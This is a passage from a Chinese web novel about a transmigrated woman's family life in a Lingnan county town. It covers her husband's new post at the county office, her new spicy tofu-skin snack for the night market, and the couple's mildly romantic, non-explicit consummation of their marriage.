夜市逐渐散去,四处都是收拾的声音,沿道都能看到收摊回去的人。 夜里路上人少,车程也快了许多,一刻多就回到家里。 祁晟扶着祖母回了院子,先行回屋点了油灯后,才让祖母进屋,随之也去其它几个屋点上了油灯,才把马车拉入院子中。 夫妻俩把孩子抱到了屋子里头,轻手轻脚地放了下来。 祁晟给她们盖上被衾,正要收手,秋花却拽住了他的手指,呢喃不清地唤了一声“爹”。 祁晟心下顿时软和了一块。 他倒是没有什么为人父的感觉,只是觉得这俩孩子远比别人家的要可爱,乖巧。 陆鸢见祁晟还弯着腰没动静,便仔细瞧了眼,就见秋花小小的手攥住了他的小手指。 再看他的神色,只见他嘴角微微往上扬,眼底也是一片柔和。 他们这对半路爹娘,似乎都被俩孩子激出了母性和父性。 她拉了拉他的衣裳,压低声音催促:“出去了,别打扰孩子休息。” 祁晟点了点头,轻轻地拨开了秋花的手,放轻动作和陆鸢退出了屋子。 外头的厨房里,老太太已经开始生火烧水,见他们出来,就说:“晟哥儿明日一早要去公署,早些洗漱休息。” 祁晟点了点头。 进了屋子,陆鸢打了个哈欠,与他说道:“我也不会驾马车,你明日去公署就把马车拆了,骑马去,这早上还能多睡一会儿呢。” 祁晟点头:“我知道。” 水很快就热了,陆鸢先去洗漱,随后才是祁晟。 等他回来,她已经熟睡了。 昨晚熬夜的劲,她估计这会都还没缓过来。 早间,陆鸢是被两个孩子给瞧醒的。 熟睡时,要是有人盯着,总是莫名其地能感觉到。 陆鸢一睁开眼,就看到了床边外的两双大眼睛。 两个孩子就趴在床边上,定定地望着她,也没有吵她。 陆鸢打了个哈欠,问:“什么时辰了?” 春花说:“不知道,但爹已经出门很久了。” 陆鸢在被窝里摸了摸床外侧,祁晟躺的位置是冷的,显然躺在上头的主人已经离开许久了。 * 祁晟到公署,时辰尚早,公署上值的人都是夜间轮值的人,白日上值的人还未到。 过了一刻,才陆陆续续地有人来至。 见到祁晟,纷纷打招呼,似乎对于一大早在公署见到他,没有丝毫的意外。 县丞上值后,见着他,便把手底下的人都集合了起来。 衙门正式在编的捕快,约莫五十人。 因地处岭南,山匪众多,又允非正编人数为百人,由地方征收一项税收来养着,所发月俸有规定,月四百文,粮月三斗。 虽月俸低,可对于一些乡下的人来说,四百文一个月,一年便差不多五贯钱了。 以前剿匪没有这么频繁的时候,很多人都想入公家。 如今想要退出公署,却是没那么容易了。 公家饭,说他好,却也不好。可以挣上银钱,狐假虎威,但同时遇上事也得是拼命上。 而县丞上任后,也带了数十心腹,所以除却打杂的衙役外,归县丞管的总共两百余人。 集中了这些人,整个公署前院站得满满当当的。 年岁四十余的知县上值,站在廊下瞧了一眼后,没什么兴趣地回了办公署。 身后的主簿道:“杨县丞越过大人,闹得这般兴师动众,大人就不管一管?” 知县道:“管啥?人家这般行事汹汹的剿匪,剿匪两回都有了成绩,说不准这以后还能给我攒些功绩,让我往上再升升。” 知县这个年纪了,还在这个位上,自是还想再升升的,再不升职,过些年岁就该致士了。 不说升官,就是任期满时,被调去富裕太平之地做知县,以后好歹也能为子孙铺铺路。 主簿继续不忿道:“可这杨县丞才继任不过两个月,就把百人外编人数招满了,如今又招了个野路子回来,听说花了三贯钱一个月请的呢,这事也没和大人商量过就决定了,显然是没把大人放在眼中。” 这先前百人外编人数不过五十人,但他们公署征税的税收却是百人的,多出五十人的月钱和月粮,自然是来补贴众人的家用了。 而且主簿的月俸也不过是两贯钱,外加月粮六斗。凭什么这新招的人比他一个主簿还高的月俸? 这不明白是在折辱他这个主簿么! 知县可不听他这些挑拨离间,道:“那人的月俸,是杨县丞自掏腰包给的,你嫉妒什么?” 要是公中出的,知县自是不应的。 主簿一怔,瞧着知县也有些不悦了,只得改了话题,疑惑道:“这杨致远县丞到底是啥人,瞧着是行伍出身,看着也是有些家底的,家世背景应该不简单,可怎会来穷乡僻壤做县丞?” 知县转身,视线从回廊穿过,落在那高大的身影之人身上。 这杨致远长得虽魁梧,可身上却没有半点底层人的习性。 打量数息之后,知县才慢悠悠的道:“这天下太平了许久,有些高门武夫无仗可打,又有一身本事,自然不想埋没了,总得从别的地方来实现抱负,从而建功立业。” 说到后头,知县劝主簿,也在劝自个:“我只收到杨致远的调令,却不清楚他是什么底细,你最好别去招惹他,省得得罪他身后的势力,也甭管其他剿匪的事,他不成,罚的是他,若他成了,也有我这个知县的一份功劳,咱们坐享其成便是。” 第86章 陆鸢起床出院子洗漱, 就听见老太太的屋子传来说话的声响,她转头看向姊妹俩,问:“曾祖母屋子里的是谁呀?” 春花应道:“是隔壁的奶奶,还有刘奶奶, 陈奶奶。” 这老太太人缘真不错, 这才来城里都没到半个月, 都有人来找她串门了。 别家老太太乡下进城,融入不了城里的圈子, 日日都待在家里头不出去。 这些事在他们家老太太的身上是压根不存在的。 陆鸢敲了敲老太太的房门,推开屋子后, 便见老太太和几个头发花白的大娘围着火盆子做针线活, 唠嗑。 听到声,几个大娘都转头看了过来。 见到是何老婆子的孙媳, 除了隔壁家的大娘外, 另外两个大娘脸上都有些局促。 隔壁家大娘笑着打招呼:“呀, 丽娘醒了呀, 听你祖母说你昨晚出夜市忙活了一宿, 咋不多睡一会?” 陆鸢笑应道:“睡够了。” 老太太与她说:“锅里给你留了早饭。” 陆鸢点了点头,转身回了屋, 装了一碟子的瓜子,又装了一些在夜市房屋东家铺子买的干果, 送到老太太的屋子里头。 她热情与她们道:“大娘你们先吃着, 一会我再给你们煮一壶茶过来。” 大娘们忙道:“不用这么客气的。” 陆鸢笑道:“没事,你们聊着, 我出去洗漱。” 等陆鸢转身走了,这屋子里的大娘才小声和老太太道:“你家这孙媳还挺好说话的,瞧着也是个非常孝顺的。” 老太太脸上的笑意浓了许多:“我和我孙子的眼光好着呢。” 隔壁的大娘道:“可别这么说了, 你家媳妇瞧着是个聪明人,可不是你们眼光好,人家就能嫁的。要不是你家孙子除了长得好外,品行也好,人家哪能嫁给你孙子,是不?” 好听的话,谁都爱听,屋子里头传出夸赞的话,陆鸢不由地跟着笑了。 虽然穿越的一开始,日子是天崩开局,但值得欣慰的是没遇上几个极品,身边的人都挺好的。 陆鸢洗漱吃完中食后,就到孩子的屋子给祁晟的鞋子。 原本是想让祁晟自个做完的,但现在他忙得一个人像是拆成了两个人用,她也就没忍心让他帮忙。 早知道,前两天就不满口答应在几天内做完了,这完全是给自己找活干,还是不擅长的活。 就她这粗糙针线活,她都没好意思拿到老太太的屋子,和其他人一块做。 想起祁晟,这天天待一块习惯了,他忽然有了别的活计,她真有点不大习惯。 缝着鞋面,老太太忽然打开了房门,见她做着些,讶异道:“今天日头是打西边出来了,你还真开始做鞋子了?!” 陆鸢没好气,撇嘴道:“我不做你念我,我做了你还念我。” 老太太摆手道:“不说你了不说你了,我要和你说的不是这回事。” 陆鸢眨了眨眼,问:“那啥事?” 老太太道:“刚又和隔壁的说了鱼的事,另一家说她家养了两头羊,年底会宰杀,问咱们家要不要。” 陆鸢闻言,忙问:“说了多少钱一斤没?” 老太太说:“现在预定好,就按现在的市面上三十五文一斤的价,年底也不涨价。” 这过年,市场上的羊肉肯定会涨价,估计能涨到五十文一斤。 陆鸢道:“那就拿个三十斤吧?” 老太太惊讶道:“要这么多,咱们家能吃得完不?虽说冬日肉经得住放,但也就只能放个几天,放久还是会臭。” 陆鸢:“这不是打算过年的时候回一趟围山村么,也带一些回去,在家里围个炉子,烫着吃。” 别说到时候,公署的人十有七八会来拜年。 老太太有点心疼钱,说:“这三十斤,可得一贯钱呢,还有那六七尾的鱼,怎么也得一百多文呢。” 陆鸢道:“一年忙到头,可不就是为了这两口吃的?” 老太太闻言,点破她,道:“这没过年呢,也没见你亏待了自己这嘴。” 说罢,再次确定道:“真要三十斤,可是得先给定钱的。” 陆鸢点头:“就三十斤,要多少定钱?” 老太太:“我得问问去。” 老太太回了屋,一会又出来,道:“说是先给十斤的定钱。” 陆鸢起身和老太太回屋拿钱,她拿了一贯钱,想了想,又多拿了半贯钱给老太太,说:“这羊肉和鱼的钱就先给你了。” 老太太道:“行,有剩的我再给你。” 陆鸢笑道:“给啥呢,留着买菜用。” 说着,又压低声音道:“那大娘家里真有羊?” 老太太道:“我又不是傻的,先前就听隔壁的提过了,刚又提前这件事,这才想着来问问你。” 陆鸢想了想,又道:“咱们家要这么多,老太太你记得让人家给咱送点羊杂羊血。” 老太太道:“那肯定的。” 老太太想到了自己屋里还有其他人,先拿了几百文,说:“剩下的,一会我才来拿。” 陆鸢点了点头。 做了大半日的鞋子,进度依旧缓慢。 陆鸢出院子伸懒腰时,想起自己想过年买自制辣条的事。 她之前就想着这事了,所以搬家后,也从夜市小院带了些香料回来。 她从老太太屋里拿了一些已干的豆皮。 老太太问:“你这要做啥?” 陆鸢道:“我想做点新吃食。” 老太太问:“现在摊子的吃食不干了?” 陆鸢道:“那倒不是,只是想着趁着年节,这些孩子手里有几个钱,我也多挣几个钱。” 老太太问:“那我能帮点什么?” 陆鸢摇了摇头:“这点活我自己就能干。” 现在就只是用凉水泡豆皮,至于要泡多久,陆鸢也不晓得,反正泡到自然软就行。 这用热水泡的,韧劲会比较差,只适合做菜吃,用冷水慢泡,口感会更加筋道,更适合做辣片。 泡上了豆皮,陆鸢就继续回屋做鞋子,每隔小半个时辰就会出去看一看浸泡的豆皮情况。 一整日下来,陆鸢都待在屋子里,酉时的时候,才开始煮饭,炖骨头萝卜汤,菜则等祁晟回来再炒。 家里有老太太看火,她就带着两个孩子到河边散步,顺道看看能不能等到祁晟回来。 祁晟第一天去公署上值,也不知道是什么时辰下值。 她和俩孩子围着河边走一圈了,也没见着祁晟的声音,这正想回去,才看到他骑着马出现在视野之中。 陆鸢脸上顿时露出喜意,忙招手,喊道:“祁晟!” 还有个别人归家,听到她的声响,都纷纷看了过来,陆鸢一点儿也不在意。 祁晟听到声音,也朝着她们的方向望了过来,脸上也露出了笑意,翻身下了马,牵着马朝着她们走了过去。 两人走近后,祁晟问:“怎出来了。” 春花道:“娘说出来走走,但一直看着爹回来的方向。” 这些天叫“爹”叫习惯了,一点也不怕羞了,叫得也非常顺口了。 陆鸢也不否认,说:“这一天不见,还怪想你的。” 祁晟听到这话,左右瞧了眼,见没旁人在,才耳廓微烫,说:“这话在咱们屋子说就得了,别在外头说。” 陆鸢微眯眼瞅了他一眼,心道——闷骚。 秋花巴巴地看着他,然后张开手,说:“骑马。” 祁晟笑了笑,把她和姐姐都抱上了马,牵着马带她们回去。 逐渐熟悉的邻里见到他们,都纷纷打招呼:“祁家郎君回来了呀。” 祁晟笑着点了点头。 回到家中,逐一把孩子从马背上抱下来,再而把马给拴起来。 陆鸢进厨房开始炒菜。 她顺道看了眼泡了两个时辰的豆皮,拿起来掐了一下,还是略硬,估摸着得泡到晚上才会软。 把豆皮放回盆中,则开始热锅,放下油和姜片,然后把切好的五花肉放进去煸炒。 炒香后,才把泡好的笋干捞出来,拧干水后反复又洗了几遍,最后才斜着把笋干切成细条,放进五花肉里边一块焖。 一盆五花肉炒笋干,一盆猪油炒菘菜,还有一份骨头汤萝卜汤。 老太太说得对,她可不会亏待自己的嘴和自己的身体,在手头不紧的情况下,她可不想为了省钱而过苦日子。 饭桌上,老太太担忧地问孙子:“今日第一日去公署当值,有没有人为难你?” 祁晟解释道:“我也不是正儿八经的在编人员,与公署其他人没有什么公事上的冲突,再者是县丞亲自聘的我,更是没人会为难我。” 听了孙子的话,老太太也松了一口气。 夜里,陆鸢在屋子里抹着面膏,祁晟正好喂了马进来。 陆鸢问他:“你说实话,今日第一日去上值,真没人给你下马威?” 祁晟在杌子上坐下,脱下鞋子,笑应:“今日也只是了解公署,没做什么事,再说这公署的人对县丞又畏又敬,又是县丞亲自向众人介绍的我,没人敢给我下马威。” 陆鸢闻言,转头看向他,说:“不对呀,这县丞这般受人敬畏,未免太过喧宾夺主了?知县就没意见?” 祁晟道:“我今日也才远远见了一面知县,暂且不知知县是什么样的人,不过我却从旁的捕快口中知道这对于县丞的决定,知县都是支持的,只偶尔主簿和县尉会不满。” 陆鸢听到这话,顿时同情地看向他:“那你完了,这主簿和县尉以后肯定会为难你的。” 这公署相当一个公司,肯定少不了勾心斗角。 祁晟穿上木屐,提着脱下的鞋袜放到门后,应道:“人总不可能一帆风顺。” 陆鸢念了句:“你倒是想得开。” 祁晟笑笑不语,拿了衣裳便出门去沐浴。 等他从澡间出来,厨房是亮着的,他提着灯笼走了过去,就见陆鸢正在往盆里放调料。 “你这是在做什么?” 陆鸢也没回头,应:“辣豆皮。” 祁晟走了过来,就见盆里的豆皮沾了好些调料,还有芝麻,气味闻着有些香。 陆鸢道:“我碾碎了茱萸,再放了一些先前调制的香料,芝麻也用油炸了片刻,能增香的,这腌一晚上就能入味。” 祁晟问:“你想要卖的新吃食?” 陆鸢“嗯”了一声,说:“咱们都囤了都差不多有十斤的豆皮了,咱们家也吃不了这么多,用来做点买卖也好,还能挣点钱。” 祁晟微微蹙眉:“这摊上要是增加了新吃食,岂不是更忙了,你也就更累了。” 陆鸢摇头:“那倒不至于,这辣豆皮肯定得提前做好,只要装好就成。再说了,你双日也不忙,这之后也是得请人的,肯定能忙得开。” 说到请人,祁晟道:“明日去糕点铺子,向掌柜娘子问问找人的事。” 陆鸢应:“肯定得去找。” 还得尽快找。 虽说祁晟和县丞说好了只是单日去,可这公署的活可不是寻常朝九晚五的活计。 万一把人带到山里拉练,没三到五日肯定是回不来的。 说着话,陆鸢搅拌了豆皮,觉着调料均匀了,才放到锅里,盖上锅盖,明早应该就能入味了。 第87章 一大早, 陆鸢从屋子出来,一眼就瞧到日头落在院子里,看着就暖洋洋的。 今天的天气还怪好的,今晚的夜市, 人肯定不少。 想到这, 她就顺道多泡了一斤黄豆。 要是人多, 夜里还能再磨一点,用来做豆乳。 陆鸢晒了一会太阳后, 才去洗漱。 洗漱过后,才去瞧自己的做辣豆皮。 因着茱萸是红色的, 碾成粉放进去, 虽放得少,但也是红通通的, 瞧着就很有食欲。 陆鸢夹了些放在碗中, 用剪子剪成小段后, 才夹起来尝了味。 这味道中规中矩吧, 没有特别的惊喜, 但好像也不错。 她想了想,又往里边加了一小块糖搅拌。 加点糖, 滋味可能会更好。 就是这现买的糖精贵。 想到这,陆鸢也想起老太太之前让陈家留的甘蔗。 她走到门口, 喊了声“老太太”。 何老婆子从屋子里走了出来, 问:“咋了?” 陆鸢问:“先前让陈家留了多少甘蔗?” 老太太道:“就让他家留了二十根青蔗。” 陆鸢又问:“啥时候能砍?” 老太太道:“这会应该已经砍了,进城前, 我就已经交代了,等过年的时候,我们回去拿。” 陆鸢问:“那这甘蔗怎么卖的?” 老太太想了想:“往年的话, 这一斤是一文钱。” 毕竟一根甘蔗都可能有四到八斤,这一斤一文钱,也不算便宜。 而糖卖得贵,全然是因为可能十斤才得一斤的糖,怎可能不贵。 陆鸢想了想,道:“那等下回双日,让郎君回去一趟,把这些甘蔗从村子里运过来,顺道问问别人家还没有卖的,多卖一些回来。” 老太太诧异道:“要这么多作甚?” 陆鸢应:“自然是熬糖了,这等到夏日,还能做饮子呢。” 老太太听了,笑道:“你脑子里呀,尽想着挣钱,就不能想想啥时候哄得晟哥儿和你圆房。” 陆鸢闻言,心下惊诧,一时间也没反应过来老太太是怎么知道,慌张地忙嘘道:“老太太你也不顾及点孩子。” 老太太道:“人家姊妹俩,早跟着晟哥儿出去了。” 听老太太这么一说,陆鸢瞧了眼院子,这马车和马还在不在家,也没听见孩子的声音。 陆鸢道:“就算孩子不在家,也别这么大声,外人听见了咋办?” 老太太轻哼了声:“你说说你,也不是头婚了,而且……”上下看了眼:“就这现在要身段有身段,这脸也是清秀有余,怎么就这般没用?” 陆鸢:…… 这话就有点不中听了。 “这哪是我的问题,分明是老太太你孙子的问题。” 这话,老太太也觉得不中听,就反驳道:“这哪里是晟哥儿的问题,这分明是你日日都穿得跟粽子似的,晟哥儿哪里能提得起劲。” 老太太知道是孙子的问题,但也绝对不能承认。 陆鸢低头瞧了眼自个,继而不可置信地抬起头看向老太太:“这大冬天的,我不穿成这样,不就被冻死了?” 两人四目相对,一时沉默。 几息过后,陆鸢忽然反应了过来,眯眼询问:“老太太你咋知道的?” 老太太白了她一眼:“我的孙子我能不了解?三言两语我就能给试探出来了。” 陆鸢想到祁晟买回来的话本,她约莫知道是谁让他去买的了。 这老太太——就很彪悍。 老太太也走到了厨房门边,压低声音问:“老实说,你们到底是谁的问题?” 陆鸢还想说是祁晟的问题,但转头琢磨了一下,他们俩都已经是拜过堂的,就算不圆房,也不至于现在就一个蜻蜓点水的吻而已。 想到这里,陆鸢也开始怀疑起了是不是自己没有魅力,所以才对祁晟没有性吸引力。 陆鸢琢磨了一下,见仔细的想法走偏了,她忙回神,应:“这不是我身体没好全,郎君怕我有孕,喝避子汤又伤身子,才迟迟没圆房。” 老太太听到这话,眉头蹙起:“这的确是个问题。” 陆鸢继而道:“不过咱们现在有法子避子了,老太太你就别操那个心了。” 老太太一听,顿时没好气道:“你们俩,我能不操心么!” 院子外传来马车轱辘转动的声响,想也是祁晟和孩子俩回来了,两个人也就止住了话头。 院门被推开,两个孩子两只手拎着装着满满当当小篮子,左右摇摆地进了院子,老太太上前帮她们提起篮子,瞧了眼篮子里边东西,问:“买了啥?” 秋花应:“排骨,腰,肉。” 腰,应该是猪腰。 陆鸢昨晚提了一嘴,让他早上去买菜的时候,顺道买只猪腰回来给俩孩子补补。 祁晟拉着马车进了院子,然后从车上提下两捆柴。 他与祖母,妻子说:“这快过年了,每把柴都贵了几文钱。” 老太太叹气道:“这过年,有啥不涨价的?” 陆鸢在旁插嘴道:“估计只有咱们的吃食不涨价了。” 祁晟提着两捆柴进了厨房。 陆鸢夹了一小块的豆皮,递到他嘴边。 祁晟也没问是什么,直接就张嘴吃进了口中。不过片刻,微麻微辛的滋味就在口腔中蔓延开来,随即则是香味。 陆鸢眼都不眨地盯着他看,等着他的反馈。 祁晟眼神微微一变。 瞧着他的表情,陆鸢就知道这吃食正合他的口味。 在没有辣椒的情况下,她肯定是做不出来与现代相同味道,就是接近的味道,也难。 她自个吃过味道更好的辣片,肯定是没法用她自己的口味来确定好坏,得让更多人来试一试才行。 祁晟道:“这是你昨日说的新吃食?” 陆鸢点头。 她转头一看,两个孩子眼巴巴地看着自己,道:“这味道辛辣,不适合你们吃。” 说着,看向老太太:“老太太,你给她们每人一块核桃酥吧。” 老太太把菜放到檐下的水缸上,颔首喊道:“你们俩随我进屋。” 两个孩子就屁颠屁颠地跟着老太太进了屋。 见孩子走了,陆鸢才问:“合你口味吧?” 祁晟道:“虽说这味道有些像咱们得油炸香豆腐,但这更加入味,也更有劲道。” 陆鸢笑道:“你都喜欢吃了,旁人肯定也喜欢。” 祁晟忽然问:“是不是加糖了?” 陆鸢点了头:“加了点,味道会更好。” 祁晟道:“这成本会不会大了些?” 陆鸢道:“比油炸的要省钱多了,而且我还打算自己熬糖,这样也能省点成本。” “方才还与老太太说了,下回双日,让你回一趟围山村,把在陈家定的甘蔗运来,顺道再多买一些。” 祁晟也没问她是不是真能制糖就点了头:“成,我后日就回去一趟。” 说着,又瞧向盆里,说:“再给我装一些。” 陆鸢笑盈盈地应了声:“好” 继而又给他剪了小半碗。 递出去后,陆鸢瞧着自己身边的男人。 他穿的也是芦花夹芯的衣裳,为啥他穿起来还是身形颀长,宽肩窄腰的? 她低头瞧了眼自己…… 凭什么她就臃肿得圆不溜秋的? 有点气人。 祁晟见她有些丧气,问:“怎了?” 陆鸢抬起头,眯眼瞧了眼他,问:“你觉得我咋样?” 祁晟不明所以,应:“挺好的。” 陆鸢闻言,心情急转直下:“就挺好的?” 祁晟能明显地感受到她的情绪变化,便道:“自然不是,你性子极好,莫说是我,就是与你相处过的人,都会喜欢你。” 陆鸢听着顺耳,心情也好了些,比了比自己的脸:“那这样貌上呢?” 祁晟眉宇间染上了笑意,虽然之前也回应过她差不多的问题,但还是定定地看着她,看得陆鸢都有些不好意思了起来。 “算了,你别说了。” 祁晟却偏要说:“好看。” 陆鸢有点脸红,心说既然觉得好看,那你晚上睡觉的时候还像根木头一样! 可别说亲个嘴了,就那双手都规矩得很,不知道的还以为他们是假成亲呢! 想到这里,陆鸢可笑不出来了。 冷眼睨了他一眼,把辣豆皮盖了起来,不大高兴地“哼”了一声,然后出了屋子。 祁晟愣了,这是怎了? 脾气怎一阵一阵的? 在家里早早就吃了中食,然后就去夜市街。 俩孩子还想再去夜市,陆鸢没答应带她们,而是与她们说:“可不兴回回都去,等下回双日再带你们去。” 两个孩子虽然不高兴,但也没闹。 去夜市的路上,祁晟赶着马车,问车里头的陆鸢:“你今早怎了?” 陆鸢愣了一下,才知道他问的是什么事。 “月事快来了,脾气躁得很。” 祁晟算了算日子,也差不多了,就没多疑。 陆鸢道:“你去一趟西市,我想买几个蘸酱用小碟子,用来装豆皮。” 祁晟应了声,往西市而去。 夜里,摆摊的时候,陆鸢把辣豆皮剪成小段,装了一小碟子。 等有人坐下,点了豆乳和油条后,她送去了一份。 陆鸢笑盈盈的道:“这是咱们摊子的新吃食,请客人尝尝,要是觉得好吃,下回再来摊上买。” 这要是好吃的反馈多,那才算好吃,也才有搞头。 这第一个尝了的人,吃得有点不够,问:“能不能再送点?” 陆鸢笑道:“那可不成,这会做得没多少,客人爱吃的话,下回买的时候,我多送一些给你。” 那人砸吧了一下嘴,说:“这别说,麻麻辣辣的,还怪上瘾的,要不你买我一点,不白要。” 陆鸢无奈给客人看了眼碗里的辣豆皮,说:“不是我不想买,就这么点,还想给别人也尝尝呢。” 这有一就有二,没送几个就没有了,那也不行。 客人见状,才作罢,只道:“那下回双日可一定要上市,可别糊弄人。” 陆鸢笑应:“一定一定。” 没一会,客人转头又问道:“忘问了,这是啥吃食?” 陆鸢依旧不弄那些虚的名字,直截了当道:“麻辣豆皮。” 第88章 今日暖和, 夜市的人也比先前要多了很多。 陆鸢准备的油条,豆腐,豆乳,甚至是后边重新煮的豆乳, 没到子时就已经全部卖完了。 收摊回了家里, 陆鸢乐不知疲地数着今晚的收入。 数完后, 提笔把数目记在账本上。 今晚备的料多,全卖出去了, 利润最起码有两百五十文。 收入不错。 她把串好的铜板放到匣子里,听着外头的动静声, 喊道:“多烧些热水, 我想沐浴。” 随之传来祁晟的一声:“行。” 半刻后,他便喊她去梳洗。 陆鸢拿起衣服, 一块布料从衣服中滑出, 陆鸢正想捡起来, 但手碰到时, 就不经意想起今日和老太太说过的话。 她能确定祁晟肯定时喜欢她的。他瞧她的眼神都能溢出蜜来了, 不可能不喜欢。 只是别人常言,情不自禁, 情到浓处,无法克制, 可祁晟克制得就吓唬过她两回, 也没见真的动手动脚过呢。 上回的蜻蜓点水姑且不算。 喜欢和性吸引,真的能分开? 陆鸢不信。 她瞧了眼落在地上的小衣, 眉头一挑,收起手转身就出了屋子。 祁晟把水给她提进去后,继续烧水。 水沸腾后, 祁晟撤出柴,熄灭后,舀水进水壶,这时从院子外传来丽娘喊他的声音。 “祁晟,祁晟。” 祁晟应了声:“等等。” 把水壶装了七分满,阖上盖子放到一旁,然后走出了院子,问:“怎了?” 陆鸢道:“我的小衣找不着了,你帮我瞧瞧是不是掉屋里了。” 祁晟微微一滞,但还是回了屋子。 一进屋,就看到了掉落在地的藕色小衣,还未换新,依旧只是半截的。 平日洗都洗了,自是没有什么可避讳的。 拿着小衣出了院子,正寻思着从门板子上头递进去之时,澡间的木板门推开,从里伸出了一个脑袋,还有淌着水珠的一截手臂,以及半掩半露的肩膀。 便是环境昏暗,也好似能看得到白得发亮的肌肤。 祁晟视线停留了两息便挪开了,把小衣放到她的手上后,旋即转身离开。 陆鸢眉头皱起,他这是啥意思? 一股冷风袭来,冷得她一哆嗦,立马缩回澡间穿衣裳。 裹上衣裳回屋,脱下外衣,掀开被衾就钻入了被窝中。 祁晟把汤婆子放进了被窝中,暖烘烘的。 暖和了一会,陆鸢把单衣的前两个盘扣解开,就等着祁晟回来了。 祁晟冲澡回屋,见到她背对着自个躺到了床上,暗暗松了一口气。 陆鸢背对他,道:“今晚亮着灯睡吧。” 祁晟也不疑有他,应了声“行。” 等他身上的水汽晾得差不多了,他才掀开外边的被衾上榻。 这才躺下,里侧的人就翻了身,看向他。 祁晟一转头,就对上了她那双发亮的眼睛,眼中似带着期待和笑意。 这狡黠的眼神,让祁晟嗅到了不寻常。 “你想做什么?”祁晟迟疑的问。 陆鸢眨巴眨巴着眼睛,无辜的道:“我能做什么,不过就是想你与说说话。” 祁晟心说她这眼神,可不是要与他说说话那么简单,总像是藏着掖着的坏。 “你想与我说什么?” 陆鸢:“就闲聊……我口有些渴,你去给我倒杯水过来。” 祁晟掀开被衾起身去倒水。 陆鸢坐起,连忙整理了一下自己的头发和衣服,披散的头发与微敞的衣襟。 祁晟倒了水转身时,瞧着眼前的一幕,眼底微一愣,但还是面色平静把水端到了床边。 陆鸢发现祁晟好像没什么反应,是不是她这药下得不猛?没啥冲击? 她低头看了眼水杯的水,思索着怎么样才能从下巴流到脖子,然后滑入衣襟下? 但想了想,这水从嘴角流出来,像个二傻子,就是她衣服在这就一身换洗的了,算了算了。 喝了水,她把杯子递给他。 看着祁晟转身去放杯,陆鸢烦恼间,想到她自己就不是扭扭捏捏的性子,那她还矜持个什么劲? 祁晟转身的那一瞬,陆鸢干脆利落地把外衫扒开,露出肩膀。 祁晟迈出的左脚倏然一顿,双目都因惊讶而微微睁大。 陆鸢盯着他,问:“你现在有没有什么想法?” 好半晌,祁晟声音微沉微哑:“你不冷?” 陆鸢:…… 她把衣裳随便拢上,拧眉看着他。 祁晟走到了床边,背对她而坐,问:“你今晚有些不对劲,你到底怎么了?” 陆鸢直接趴到了他的后背,下巴搭在他的肩头上,说:“老太太说,咱们没圆房,是因为我没魅力。” 祁晟一时间哑口无言。 呼了一口气后,问:“所以,你今晚才这样?” 陆鸢:“那你觉得我有魅力吗?” 祁晟没有应她,而是握上了她的手腕,半侧身,一把把人拽入了怀中。 天旋地转,陆鸢还没反应过来,下巴就被他捏住了,双唇被攫取。 陆鸢心里浮现出呐喊——开窍了,开窍了! 两人缓缓躺下,陆鸢双手也攀附到了他的肩上。 密密麻麻的轻吻落在了她的脸颊,脖颈,肩头…… 他抬起头,眼神幽沉沉地望着她,问:“这样呢,还算没有魅力吗?” 陆鸢满脑子的废料,他忽然停了,她懵了好一会,才伸手把他拽下。 把人都勾得不上不下了,还废什么话呢。 虽然满脑子都是黄色的废料,但还是抽空琢磨了一下避孕的事…… 转头一想,管它的,喝一回避子汤也没什么。 祁晟愣怔了一瞬,惊诧于她的了当,随即付诸一笑,也伏下身子。 单日,俩孩子醒来用了朝食,又玩了一圈后,就坐在门槛边上,一直看着门口的方向。 老太太瞧了眼两个孩子的背影,说:“你们娘昨晚出摊,肯定累得慌,会起得晚,这还得走路回来,可能下午才会回来。” 想了想,又道:“也有可能等着你们爹下值后一块回来。” 两个孩子听到这话,两张小脸同时夸了下来,春华恹恹道:“那要好晚才能回来。” 老太太笑道:“那总好过在围山村的时候,一个月才回来一趟要好多了。” 两个孩子闻言,仔细想想,也是。 老太太道:“赶紧回屋,被吹病了,又得花钱买药了。” 春花听到曾祖母的话,就拉着妹妹转身回了院子。 被俩孩子心心念念的陆鸢,这会还躺在床上睡着呢。 日头正中,午时正已过一刻,院门被推开。 祁晟牵着马进了院子,静悄悄的,好似屋里没人。 但知道妻子的秉性,也没有多怀疑。 他提着吃食和药,以及一只宰杀好的母鸡进了厨房,起锅烧火。 家里风炉多,便同时炖汤,熬药。 炖着汤和药,他才擦了手进屋。 果然,被窝隆起,人还躺着,但眼睛是睁着的,定定地望着他。 陆鸢早早就听见了声响,也听见马蹄声了,想也知道是祁晟,嫌冷,就没起来。 祁晟目光柔和,低声问:“你要不要喝点水?” 陆鸢“嗯”了一声。 屋里的水早就凉透了。 祁晟道:“等等。” 他提着茶壶出了屋子,把正在熬鸡汤的陶锅端下,继而把茶壶放到上头,烧了一会才取下。 祁晟端着茶壶进了屋,倒进杯中,自行试了试水温。水温刚好合适,复而倒了一杯,端到了床边。 陆鸢裹着被子坐起,矫情道:“喂我。” 祁晟也就顺着她的意,喂她喝了水。 他望着喝水的丽娘,斟酌的问:“你好点了没有?” 陆鸢险些一口水喷了出来。 不问还好,一问,她自个都不好意思了起来。 祁晟天赋异禀,就是生过两个孩子身体,都有点不太适配。 再加上祁晟是个生手,这第一回,只开始的时候,酥酥麻麻的,可到了后边,她其实不太好受。 陆鸢艰难地咽下了一口水,说:“你只要别问,我就能好。” 见状,祁晟自是识趣地没再问,随之道:“我午间休憩只有半个时辰,再过一刻就得回去了,厨房里煮了你的药,也熬了鸡汤,一会你就着包子吃点,等傍晚我再来接你回去。” “药,什么药?” 祁晟道:“我去医馆开的避子药,以防万一。” 想了想,他还是道:“下回不会让你吃药了,我询问过大夫了,大概知道如何避子了。” 陆鸢点了点头,随之问道:“今日没迟吧?” 他们昨晚回来就晚了,而且晚上还闹了许久,他估计都没睡多久。 祁晟摇头:“没晚,我精神头很好。” 早间去公署的时候,还有人问他精神头怎么那么好,是不是遇上什么喜事了。 陆鸢仔细瞧了他一眼,还真的没有半点疲惫。 这人比人,还挺气人的。 她朝床尾努了努下巴:“帮我把衣裳拿过来,我要起了。” 祁晟起身给她拿了里衫和外衣。 陆鸢伸出手臂,把衣服拽入了被窝,打算捂暖了再穿。 那瞬间露出来的手臂,隐约可见肩头和手臂上有着浅浅的痕迹。 祁晟不自在地清咳了一声,随之道:“我去给你烧点水洗漱。” 说着就出了屋子。 陆鸢翻了翻眼白,心说她芯子也还是个黄花大闺女,也没不好意思呢,他一个造出痕迹的大男人,反倒先不好意思了起来。 第89章 祁晟烧着热水, 不知想到了什么,嘴角不由自主地上扬。 烧了热水,又给两个风炉各添了柴火后,才出厨房, 往屋子的窗户道:“丽娘, 我要去上值了。” 